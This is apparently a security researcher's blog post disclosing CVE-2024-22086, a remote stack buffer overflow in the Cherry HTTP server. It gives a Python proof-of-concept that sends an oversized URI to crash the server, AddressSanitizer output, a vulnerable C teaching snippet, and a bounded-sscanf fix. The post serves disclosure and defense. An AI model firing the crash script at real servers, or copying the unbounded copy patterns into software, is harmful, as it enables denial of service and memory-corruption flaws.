Zero-Day Research: CVE-2024-22086 Cherry HTTP Server Remote Buffer Overflow

Introduction

Remote buffer overflows stand out for their notoriety and the sheer impact they can have on systems worldwide. These vulnerabilities, though longstanding in the realm of computer security, continue to pose significant challenges and risks. At their core, remote buffer overflows occur when an application receives more data than it can handle, causing it to overflow and overwrite adjacent memory spaces. This seemingly simple fault has the potential to unleash catastrophic outcomes, ranging from system crashes to unauthorized access and control by malicious entities. The essence of this threat lies in its exploitation from afar, where attackers can remotely trigger these vulnerabilities without physical access to the victim system.

The threat of remote buffer overflows is particularly pronounced in HTTP servers, which are the bedrock of the modern internet. These servers, constantly interacting with unpredictable and uncontrolled external data, are prime targets for such attacks. Historically, some of the most high-profile security breaches have been attributed to remote buffer overflow vulnerabilities in these servers. In this blog post, we will delve into the anatomy of remote buffer overflows, dissecting how they occur, the implications they carry, and the defenses that can be mounted against them. This discussion aims not only to enlighten developers about the dangers and mechanics of these vulnerabilities but also to provide actionable insights into how organizations and individuals can fortify their defenses against this enduring cyber threat.

What is a Remote Buffer Overflow?

A buffer overflow occurs when a program attempts to store more data in a buffer (a temporary data storage area) than it was intended to hold. When this excess data overflows into adjacent buffers, it can corrupt or overwrite the valid data, leading to erratic program behavior or system crashes.

In the context of HTTP servers, a remote buffer overflow is particularly menacing. Attackers exploit vulnerabilities over the network to execute arbitrary code on the server. This can lead to unauthorized access, data theft, or even full control over the server.

How Do Buffer Overflows Happen in HTTP Servers?

HTTP servers, by design, handle numerous requests from clients. These requests and the associated data are processed and stored in buffers. Vulnerabilities typically arise due to:

  1. Improper Input Validation: If the server fails to adequately check the size of the input against the buffer’s capacity, an overflow is possible.
  2. Insecure Coding Practices: Languages like C and C++, commonly used in HTTP server development, do not inherently manage memory, leading to potential buffer overflows.

Historical Examples and Their Impact

Several high-profile incidents have underscored the severity of buffer overflow vulnerabilities in HTTP servers:

  • Apache HTTP Server – mod_ssl Off-By-One Buffer Overflow (CVE-2002-0082):
    • Year: 2002
    • Description: A buffer overflow vulnerability in the mod_ssl module of Apache HTTP Server allowed remote attackers to execute arbitrary code via a malformed client master key in an SSL session.
    • Impact: Potential for remote code execution and compromise of server integrity.
  • Lighttpd FastCGI Buffer Overflow (CVE-2011-4362):
    • Year: 2011
    • Description: A buffer overflow in the mod_fastcgi module of Lighttpd could be triggered by sending specially crafted headers, leading to a potential remote exploit.
    • Impact: Server crashes and potential for remote code execution.
  • IBM HTTP Server mod_rewrite Buffer Overflow (CVE-2006-3747):
    • Year: 2006
    • Description: The mod_rewrite module in the IBM HTTP Server had a buffer overflow vulnerability that could be exploited via a URL with a long hostname.
    • Impact: Remote code execution and server compromise.
  • Oracle HTTP Server Buffer Overflow in Apache Connector (CVE-2005-0078):
    • Year: 2005
    • Description: A vulnerability in the Oracle HTTP Server, stemming from the Apache Connector, allowed remote attackers to execute arbitrary code via a long request.
    • Impact: Server compromise and data breach potential.

Buffer Overflow Review

The following section is a review of buffer overflows in C and provides a simple example demonstrating this vulnerability. If you already have a deep understanding of buffer overflows in the C programming language, feel free to jump down to the description of CVE-2024-22086.

Why C is Vulnerable?

C doesn’t inherently check the bounds of buffers, relying instead on the programmer to manage memory. While providing flexibility and efficiency, this characteristic opens the door to buffer overflow vulnerabilities if the programmer does not meticulously manage and validate buffer sizes.

Below is a simple example of a buffer overflow in C:

#include <stdio.h>
#include <string.h>

void vulnerableFunction(char *str) {
    char password[10];
    char buffer[10];
    strcpy(buffer, str); // Copy the string into buffer without checking size
}

int main() {
    // An overly long string
    char largeString[100] = "ThisStringIsWayTooLongAndWillOverflowTheBufferCausingPotentialSecurityIssues";

    vulnerableFunction(largeString);
    printf("After vulnerableFunction call\n");

    return 0;
}

Explanation of the vulnerable code:

  • Function vulnerableFunction: This function has a buffer named buffer of 10 characters. It uses strcpy() to copy the input string str into buffer.
  • Vulnerability: The strcpy() function does not check if str will fit into buffer. If str is longer than 9 characters (plus the null terminator), it will overflow buffer.
  • In main(): largeString is defined with 100 characters, which is far longer than the 10-character buffer in vulnerableFunction.
  • Result: When vulnerableFunction(largeString) is called, it leads to a buffer overflow as largeString is copied into buffer. Any adjacent memory will be overwritten by the large buffer, which could corrupt data or crash the program. In this particular example, the char array named ‘password’ would be overwritten with data from ‘largeString’.

Typical Scenarios

Remote buffer overflows commonly occur in network services or applications that receive data over a network, like web servers, email servers, or FTP servers. If these applications are written in C and don’t properly check the length of user-defined input received over the network, they can be susceptible to buffer overflow attacks.

CVE-2024-22086

Cherry, initially inspired by the Capriccio project and the Zaver HTTP server, began as an experimental endeavor aiming to integrate cooperative threading, also known as fibers or coroutines, into server architecture. Despite its ambitions, Cherry faced challenges in matching the performance levels achieved by the Capriccio project, finding that achieving such efficiency can be complex.

At its core, Cherry is a straightforward HTTP server optimized for unicore performance, emphasizing efficiency through FSM (finite state machine) scheduling and I/O multiplexing using epoll. Its design philosophy revolves around a single control flow for unicore servers, minimizing blocking operations to achieve a level of concurrency akin to cooperative threading. Cherry employs epoll for I/O multiplexing, a queue for ready file descriptors, and a finite state machine for scheduling. However, its use of edge-triggered epoll necessitates complete reading of file descriptors in one operation, which might lead to the starvation of other queued descriptors. Cherry serves as a valuable platform for experimenting with new ideas, even if it may not evolve into a major server.

While executing my fuzz tests against the Cherry HTTP Server, I discovered a remote stack buffer overflow vulnerability in handle_request() at http.c, line 54. This vulnerability affects all versions of Cherry through commit 4b877df. The vulnerable source code can be seen below:

sscanf(buf, "%s %s %s", method, uri, version); 

I have outlined the reproduction steps below, and offer some mitigations that can be implemented to prevent a buffer overflow.

Makefile Modifications

The following modifications were made to the Makefile to compile Cherry with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow vulnerability:

CC=gcc
CFLAGS= -Wall -Wextra -DLOG_USE_COLOR -fsanitize=address -g

.PHONY: clean

cherry: server.c log.c rio.c http.c epoll.c task.c utils.c
    $(CC) $^ -o $@ $(CFLAGS)

clean:
    rm cherry a.out

Compiling Cherry

After modifying the Makefile, the project can be compiled by executing the following commands on the command line:

$ make

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI (2,000,000 bytes long) to Cherry and wait for a response:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 3333))
sock.send(b"GET /"+b"C"*2000000+b"HTTP/1.1\r\nHost:localhost:3333\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Cherry

$ ./cherry

Executing our Python3 Script

$ python3 poc.py

Address Sanitizer Output

The following output is produced by address sanitizer, confirming the existence of the buffer overflow. AddressSanitizer (ASan) is a memory error detector tool used for identifying memory-related bugs in software programs. It is primarily designed to catch memory corruption issues, such as buffer overflows, use-after-free errors, and memory leaks, which can lead to security vulnerabilities or program crashes:

==3024==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fcf196002f0 at pc 0x7fcf1b087791 bp 0x7ffc4e0bf090 sp 0x7ffc4e0be850
WRITE of size 8188 at 0x7fcf196002f0 thread T0
    #0 0x7fcf1b087790 in scanf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:342
    #1 0x7fcf1b0883fe in __interceptor___isoc99_vsscanf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1612
    #2 0x7fcf1b0884ee in __interceptor___isoc99_sscanf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1635
    #3 0x55a0ffa0561d in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:54
    #4 0x55a0ffa072c7 in request_handler /home/kali/projects/fuzzing/cherry/src/utils.c:57
    #5 0x55a0ffa03908 in main /home/kali/projects/fuzzing/cherry/src/server.c:69
    #6 0x7fcf1ae456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7fcf1ae45784 in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x55a0ffa03450 in _start (/home/kali/projects/fuzzing/cherry/src/cherry+0x4450) (BuildId: f07795ccbe440d35fcd7b1ea59114aa3d9bc6d55)

Address 0x7fcf196002f0 is located in stack of thread T0 at offset 752 in frame
    #0 0x55a0ffa05370 in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:35

  This frame has 7 object(s):
    [32, 176) 'sbuf' (line 41)
    [240, 752) 'uri' (line 37)
    [816, 1328) 'version' (line 37) <== Memory access at offset 752 partially underflows this variable
    [1392, 1904) 'filename' (line 40) <== Memory access at offset 752 partially underflows this variable
    [1968, 10160) 'method' (line 37) <== Memory access at offset 752 partially underflows this variable
    [10416, 18608) 'buf' (line 38)
    [18864, 27072) 'rio' (line 36)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:342 in scanf_common
Shadow bytes around the buggy address:
  0x7fcf19600000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600080: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
  0x7fcf19600100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fcf19600280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2
  0x7fcf19600300: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600500: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3024==ABORTING

Let’s break down the key parts of this output for clarity:

1. Error Identification:

ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fcf196002f0

ASan has detected a stack buffer overflow at the specified memory address.

2. Location and Cause:

  • The overflow occurs during a ‘WRITE of size 8188’ bytes at the address ‘0x7fcf196002f0’ in ‘thread T0’.
  • The call stack traces the error back to its origin.
  • It starts with ‘scanf_common’ (as part of a ‘scanf’ operation) which is a common point of vulnerability for buffer overflows due to unbounded input operations.
  • The error trace includes the specific function in the code (‘handle_request’ in ‘http.c’ at line 54) where the problematic ‘scanf’ call occurs.

3. Context of the Overflow:

  • Address ‘0x7fcf196002f0’ is located in the stack of ‘thread T0’ at an offset of 752 bytes in the ‘handle_request’ function frame.
  • The memory layout around this address is detailed, showing which local variables are present in the function’s stack frame and their memory ranges.
  • Notably, the variables ‘uri’, ‘version’, and ‘method’ are identified as being at risk of underflow, which means the write operation at the overflow address is affecting these variables.

4. Hints and Summary:

  • The summary reaffirms the type of error: ‘stack-buffer-overflow’ in the ‘scanf_common’ function.

5. Shadow Bytes:

  • The ‘shadow bytes’ around the buggy address provide a more detailed view of the memory layout and status. Each shadow byte represents 8 application bytes, and the symbols (like `f1`, `f2`, `f3`, etc.) indicate different statuses of these bytes (e.g., whether they are addressable, part of a heap region, stack redzone, etc.).

6. Abort Statement:

  • The process is aborted as a result of this error, as indicated by:

==3024==ABORTING

In summary, ASan detected a stack buffer overflow caused by a large write operation (8188 bytes) in the ‘handle_request’ function of the Cherry source code. The overflow affects local variables in this function, potentially leading to corrupt data or other unintended behavior.

Mitigation

The issue with the code is that it doesn’t limit the number of characters read into each string. This can cause a buffer overflow if the input strings are longer than the buffers allocated for method, URI, and version. To fix this, you need to specify maximum field widths in the sscanf format string. These widths should be at least one less than the size of the buffers (to leave space for the null terminator):

sscanf(buf, "%s %s %s", method, uri, version); // for example, GET / HTTP/1.1 
sscanf(buf, "%5000s %300s %300s", method, uri, version); // for example, GET / HTTP/1.1 

Detecting and Preventing Buffer Overflows

Preventing buffer overflows requires a multifaceted approach:

  1. Secure Coding Practices: Employing safe functions, bounds checking, and input validation.
  2. Regular Audits and Penetration Testing: Periodically reviewing code and simulating attacks can uncover vulnerabilities.
  3. Patch Management: Keeping software up-to-date with the latest security patches is critical.
  4. Using Memory-Safe Languages: Languages like Rust or Go, which handle memory more safely, can significantly reduce the risk of buffer overflows.

Mitigation Strategies

If a buffer overflow vulnerability is detected in an HTTP server, immediate action is required:

  1. Apply Patches: If the software vendor releases a patch, apply it without delay.
  2. Intrusion Detection Systems (IDS): Deploy IDS to monitor network traffic for signs of exploitation.
  3. Restrict Access: Limit access to the server to reduce the attack surface.

Conclusion

The threat posed by remote buffer overflows in HTTP servers is both real and significant. However, with vigilant security practices, regular audits, and a commitment to secure coding, the risks can be substantially mitigated. As the digital landscape evolves, so must our defenses against these enduring threats.

References

  • https://cwe.mitre.org/data/definitions/121.html
  • https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
  • https://github.com/google/sanitizers/wiki/AddressSanitizer
  • https://www.cve.org/CVERecord?id=CVE-2024-22086

No responses yet

Leave a Reply

Your email address will not be published. Required fields are marked *

Latest Comments

No comments to show.